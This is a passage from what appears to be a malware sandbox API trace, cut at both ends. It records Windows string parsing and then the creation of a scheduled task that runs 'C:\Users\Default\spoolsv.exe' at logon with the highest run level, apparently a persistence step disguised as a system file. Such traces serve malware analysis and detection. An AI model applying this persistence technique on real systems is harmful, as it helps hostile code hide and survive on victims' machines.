_Size=0x7) returned 0 [0159.980] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|st|") returned 4 [0159.980] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.980] lstrlenW (lpString="|st|") returned 4 [0159.980] lstrlenW (lpString="|f|") returned 3 [0159.980] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0159.980] SetLastError (dwErrCode=0x490) [0159.980] lstrlenW (lpString="sd") returned 2 [0159.980] lstrlenW (lpString="sd") returned 2 [0159.980] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.980] lstrlenW (lpString="f") returned 1 [0159.980] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.980] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|sd|") returned 4 [0159.980] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.980] lstrlenW (lpString="|sd|") returned 4 [0159.980] lstrlenW (lpString="|f|") returned 3 [0159.980] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0159.981] SetLastError (dwErrCode=0x490) [0159.981] lstrlenW (lpString="ed") returned 2 [0159.981] lstrlenW (lpString="ed") returned 2 [0159.981] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.981] lstrlenW (lpString="f") returned 1 [0159.981] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.981] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ed|") returned 4 [0159.981] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.981] lstrlenW (lpString="|ed|") returned 4 [0159.981] lstrlenW (lpString="|f|") returned 3 [0159.981] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0159.981] SetLastError (dwErrCode=0x490) [0159.981] lstrlenW (lpString="it") returned 2 [0159.981] lstrlenW (lpString="it") returned 2 [0159.981] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.981] lstrlenW (lpString="f") returned 1 [0159.981] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.981] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|it|") returned 4 [0159.981] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.981] lstrlenW (lpString="|it|") returned 4 [0159.981] lstrlenW (lpString="|f|") returned 3 [0159.981] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0159.981] SetLastError (dwErrCode=0x490) [0159.981] lstrlenW (lpString="et") returned 2 [0159.981] lstrlenW (lpString="et") returned 2 [0159.981] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.982] lstrlenW (lpString="f") returned 1 [0159.982] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.982] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|et|") returned 4 [0159.982] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.982] lstrlenW (lpString="|et|") returned 4 [0159.982] lstrlenW (lpString="|f|") returned 3 [0159.982] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0159.982] SetLastError (dwErrCode=0x490) [0159.982] lstrlenW (lpString="k") returned 1 [0159.982] lstrlenW (lpString="k") returned 1 [0159.982] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.982] lstrlenW (lpString="f") returned 1 [0159.982] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.982] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|k|") returned 3 [0159.982] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.982] lstrlenW (lpString="|k|") returned 3 [0159.982] lstrlenW (lpString="|f|") returned 3 [0159.982] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0159.982] SetLastError (dwErrCode=0x490) [0159.982] lstrlenW (lpString="du") returned 2 [0159.982] lstrlenW (lpString="du") returned 2 [0159.982] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.982] lstrlenW (lpString="f") returned 1 [0159.982] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.982] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|du|") returned 4 [0159.983] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.983] lstrlenW (lpString="|du|") returned 4 [0159.983] lstrlenW (lpString="|f|") returned 3 [0159.983] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0159.983] SetLastError (dwErrCode=0x490) [0159.983] lstrlenW (lpString="ri") returned 2 [0159.983] lstrlenW (lpString="ri") returned 2 [0159.983] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.983] lstrlenW (lpString="f") returned 1 [0159.983] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.983] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|ri|") returned 4 [0159.983] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.983] lstrlenW (lpString="|ri|") returned 4 [0159.983] lstrlenW (lpString="|f|") returned 3 [0159.983] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0159.983] SetLastError (dwErrCode=0x490) [0159.983] lstrlenW (lpString="z") returned 1 [0159.983] lstrlenW (lpString="z") returned 1 [0159.983] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.983] lstrlenW (lpString="f") returned 1 [0159.983] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.983] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|z|") returned 3 [0159.983] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.983] lstrlenW (lpString="|z|") returned 3 [0159.983] lstrlenW (lpString="|f|") returned 3 [0159.983] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0159.984] SetLastError (dwErrCode=0x490) [0159.984] lstrlenW (lpString="f") returned 1 [0159.984] lstrlenW (lpString="f") returned 1 [0159.984] _memicmp (_Buf1=0x24c170, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.984] lstrlenW (lpString="f") returned 1 [0159.984] _memicmp (_Buf1=0x24c1b0, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.984] _vsnwprintf (in: _Buffer=0x24c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.984] _vsnwprintf (in: _Buffer=0x24c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1bc4c8 | out: _Buffer="|f|") returned 3 [0159.984] lstrlenW (lpString="|f|") returned 3 [0159.984] lstrlenW (lpString="|f|") returned 3 [0159.984] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0159.984] SetLastError (dwErrCode=0x0) [0159.984] SetLastError (dwErrCode=0x0) [0159.984] GetProcessHeap () returned 0x230000 [0159.984] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24ccc0 [0159.984] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.984] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0159.984] lstrlenW (lpString="LIMITED") returned 7 [0159.984] GetProcessHeap () returned 0x230000 [0159.984] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x10) returned 0x24d550 [0159.984] GetThreadLocale () returned 0x409 [0159.984] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0159.984] GetProcessHeap () returned 0x230000 [0159.984] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc90 [0159.984] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.985] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0159.985] lstrlenW (lpString="HIGHEST") returned 7 [0159.985] GetProcessHeap () returned 0x230000 [0159.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x10) returned 0x24d570 [0159.985] GetThreadLocale () returned 0x409 [0159.985] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0159.985] GetProcessHeap () returned 0x230000 [0159.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc60 [0159.985] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.985] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0159.985] lstrlenW (lpString="MINUTE") returned 6 [0159.985] GetProcessHeap () returned 0x230000 [0159.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d590 [0159.985] GetThreadLocale () returned 0x409 [0159.985] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 3 [0159.985] GetProcessHeap () returned 0x230000 [0159.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc30 [0159.985] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.985] LoadStringW (in: hInstance=0x0, uID=0x1af, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="HOURLY") returned 0x6 [0159.985] lstrlenW (lpString="HOURLY") returned 6 [0159.985] GetProcessHeap () returned 0x230000 [0159.985] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d5b0 [0159.985] GetThreadLocale () returned 0x409 [0159.985] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="HOURLY", cchCount2=-1) returned 3 [0159.986] GetProcessHeap () returned 0x230000 [0159.986] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cc00 [0159.986] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.986] LoadStringW (in: hInstance=0x0, uID=0x1b0, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="DAILY") returned 0x5 [0159.992] lstrlenW (lpString="DAILY") returned 5 [0159.992] GetProcessHeap () returned 0x230000 [0159.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xc) returned 0x24d5d0 [0159.992] GetThreadLocale () returned 0x409 [0159.992] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="DAILY", cchCount2=-1) returned 3 [0159.992] GetProcessHeap () returned 0x230000 [0159.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cbd0 [0159.992] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.992] LoadStringW (in: hInstance=0x0, uID=0x1b1, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="WEEKLY") returned 0x6 [0159.992] lstrlenW (lpString="WEEKLY") returned 6 [0159.992] GetProcessHeap () returned 0x230000 [0159.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xe) returned 0x24d5f0 [0159.992] GetThreadLocale () returned 0x409 [0159.992] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="WEEKLY", cchCount2=-1) returned 1 [0159.992] GetProcessHeap () returned 0x230000 [0159.992] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x20) returned 0x24cba0 [0159.992] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.992] LoadStringW (in: hInstance=0x0, uID=0x1b2, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="MONTHLY") returned 0x7 [0159.992] lstrlenW (lpString="MONTHLY") returned 7 [0159.993] GetProcessHeap () returned 0x230000 [0159.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x10) returned 0x24d610 [0159.993] GetThreadLocale () returned 0x409 [0159.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="MONTHLY", cchCount2=-1) returned 3 [0159.993] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.993] LoadStringW (in: hInstance=0x0, uID=0x1b3, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="ONCE") returned 0x4 [0159.993] lstrlenW (lpString="ONCE") returned 4 [0159.993] GetProcessHeap () returned 0x230000 [0159.993] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xa) returned 0x24d630 [0159.993] GetThreadLocale () returned 0x409 [0159.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONCE", cchCount2=-1) returned 3 [0159.993] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.993] LoadStringW (in: hInstance=0x0, uID=0x1b4, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="ONSTART") returned 0x7 [0159.993] lstrlenW (lpString="ONSTART") returned 7 [0159.993] GetThreadLocale () returned 0x409 [0159.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONSTART", cchCount2=-1) returned 1 [0159.993] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.993] LoadStringW (in: hInstance=0x0, uID=0x1b5, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="ONLOGON") returned 0x7 [0159.993] lstrlenW (lpString="ONLOGON") returned 7 [0159.993] GetThreadLocale () returned 0x409 [0159.993] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="ONLOGON", cchCount1=-1, lpString2="ONLOGON", cchCount2=-1) returned 2 [0159.994] SetLastError (dwErrCode=0x0) [0159.994] GetProcessHeap () returned 0x230000 [0159.994] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x1fc) returned 0x24c220 [0159.994] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.994] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0159.994] lstrlenW (lpString="First") returned 5 [0159.994] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.994] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0159.994] lstrlenW (lpString="Second") returned 6 [0159.994] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.994] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0159.994] lstrlenW (lpString="Third") returned 5 [0159.994] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.994] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0159.994] lstrlenW (lpString="Fourth") returned 6 [0159.994] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.994] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0159.994] lstrlenW (lpString="Last") returned 4 [0159.994] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.994] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0159.994] lstrlenW (lpString="First") returned 5 [0159.994] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.994] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0159.994] lstrlenW (lpString="Second") returned 6 [0159.995] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.995] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0159.995] lstrlenW (lpString="Third") returned 5 [0159.995] GetProcessHeap () returned 0x230000 [0159.995] GetProcessHeap () returned 0x230000 [0159.995] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d630) returned 1 [0159.995] GetProcessHeap () returned 0x230000 [0159.995] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d630) returned 0xa [0159.995] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d630 | out: hHeap=0x230000) returned 1 [0159.995] GetProcessHeap () returned 0x230000 [0159.995] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0xc) returned 0x24d630 [0159.995] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.995] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0159.995] lstrlenW (lpString="Fourth") returned 6 [0159.995] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.995] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0159.995] lstrlenW (lpString="Last") returned 4 [0159.995] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc340, cchData=128 | out: lpLCData="0") returned 2 [0159.995] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.995] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0159.996] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d550) returned 1 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d550) returned 0x10 [0159.996] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d550 | out: hHeap=0x230000) returned 1 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x16) returned 0x24d550 [0159.996] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x1bc360, cchData=128 | out: lpLCData="0") returned 2 [0159.996] _memicmp (_Buf1=0x24ba60, _Buf2=0xff451b08, _Size=0x7) returned 0 [0159.996] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x24d250, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0159.996] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x24d570) returned 1 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] RtlSizeHeap (HeapHandle=0x230000, Flags=0x0, MemoryPointer=0x24d570) returned 0x10 [0159.996] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x24d570 | out: hHeap=0x230000) returned 1 [0159.996] GetProcessHeap () returned 0x230000 [0159.996] RtlAllocateHeap (HeapHandle=0x230000, Flags=0xc, Size=0x16) returned 0x24d570 [0159.996] GetLocalTime (in: lpSystemTime=0x1bc590 | out: lpSystemTime=0x1bc590*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x13, wMilliseconds=0xd9)) [0159.996] GetLocalTime (in: lpSystemTime=0x1bce48 | out: lpSystemTime=0x1bce48*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x13, wSecond=0x13, wMilliseconds=0xd9)) [0159.997] lstrlenW (lpString="") returned 0 [0159.997] lstrlenW (lpString="") returned 0 [0159.997] lstrlenW (lpString="") returned 0 [0159.997] lstrlenW (lpString="") returned 0 [0159.997] lstrlenW (lpString="") returned 0 [0159.997] lstrlenW (lpString="") returned 0 [0159.997] lstrlenW (lpString="") returned 0 [0159.997] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0160.039] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0160.108] CoCreateInstance (in: rclsid=0xff451ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xff451ad0*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x1bcc10 | out: ppv=0x1bcc10*=0x4d5a50) returned 0x0 [0160.119] TaskScheduler:ITaskService:Connect (This=0x4d5a50, serverName=0x1bccf0*(varType=0x8, wReserved1=0x1b, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x1bccb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x32524553524150), domain=0x1bccd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x1bcc90*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xc0, varVal2=0x100000001)) returned 0x0 [0160.169] TaskScheduler:IUnknown:AddRef (This=0x4d5a50) returned 0x2 [0160.169] TaskScheduler:ITaskService:GetFolder (in: This=0x4d5a50, Path=0x0, ppFolder=0x1bcda8 | out: ppFolder=0x1bcda8*=0x4d7bd0) returned 0x0 [0160.172] TaskScheduler:ITaskService:NewTask (in: This=0x4d5a50, flags=0x0, ppDefinition=0x1bcda0 | out: ppDefinition=0x1bcda0*=0x4d7c20) returned 0x0 [0160.173] ITaskDefinition:get_Actions (in: This=0x4d7c20, ppActions=0x1bcd20 | out: ppActions=0x1bcd20*=0x4d7ce0) returned 0x0 [0160.173] IActionCollection:Create (in: This=0x4d7ce0, Type=0, ppAction=0x1bcd40 | out: ppAction=0x1bcd40*=0x4d6060) returned 0x0 [0160.173] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.173] lstrlenW (lpString="'C:\\Users\\Default\\spoolsv.exe'") returned 30 [0160.173] lstrlenW (lpString=" ") returned 1 [0160.173] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x43) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x3a) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x55) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x72) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.173] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x44) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x66) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x61) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x75) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x74) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x5c) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x70) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x6f) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x6c) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x73) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x76) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x2e) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x78) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x65) returned 0x0 [0160.174] StrChrW (lpStart=" ", wMatch=0x27) returned 0x0 [0160.174] IUnknown:Release (This=0x4d6060) returned 0x1 [0160.174] IUnknown:Release (This=0x4d7ce0) returned 0x1 [0160.174] ITaskDefinition:get_Triggers (in: This=0x4d7c20, ppTriggers=0x1bc8a0 | out: ppTriggers=0x1bc8a0*=0x4d7e20) returned 0x0 [0160.174] ITriggerCollection:Create (in: This=0x4d7e20, Type=9, ppTrigger=0x1bc898 | out: ppTrigger=0x1bc898*=0x4d60d0) returned 0x0 [0160.175] IUnknown:QueryInterface (in: This=0x4d60d0, riid=0xff451c48*(Data1=0x72dade38, Data2=0xfae4, Data3=0x4b3e, Data4=([0]=0xba, [1]=0xf4, [2]=0x5d, [3]=0x0, [4]=0x9a, [5]=0xf0, [6]=0x2b, [7]=0x1c)), ppvObject=0x1bc890 | out: ppvObject=0x1bc890*=0x4d60d0) returned 0x0 [0160.175] IUnknown:Release (This=0x4d60d0) returned 0x2 [0160.175] _vsnwprintf (in: _Buffer=0x1bc7e0, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x1bc7b8 | out: _Buffer="2022-08-06T02:19:00") returned 19 [0160.175] ITrigger:put_StartBoundary (This=0x4d60d0, StartBoundary="2022-08-06T02:19:00") returned 0x0 [0160.175] lstrlenW (lpString="") returned 0 [0160.175] lstrlenW (lpString="") returned 0 [0160.175] lstrlenW (lpString="") returned 0 [0160.175] lstrlenW (lpString="") returned 0 [0160.175] IUnknown:Release (This=0x4d60d0) returned 0x1 [0160.175] IUnknown:Release (This=0x4d7e20) returned 0x1 [0160.175] ITaskDefinition:get_Settings (in: This=0x4d7c20, ppSettings=0x1bcd40 | out: ppSettings=0x1bcd40*=0x4d7e90) returned 0x0 [0160.176] lstrlenW (lpString="") returned 0 [0160.176] IUnknown:Release 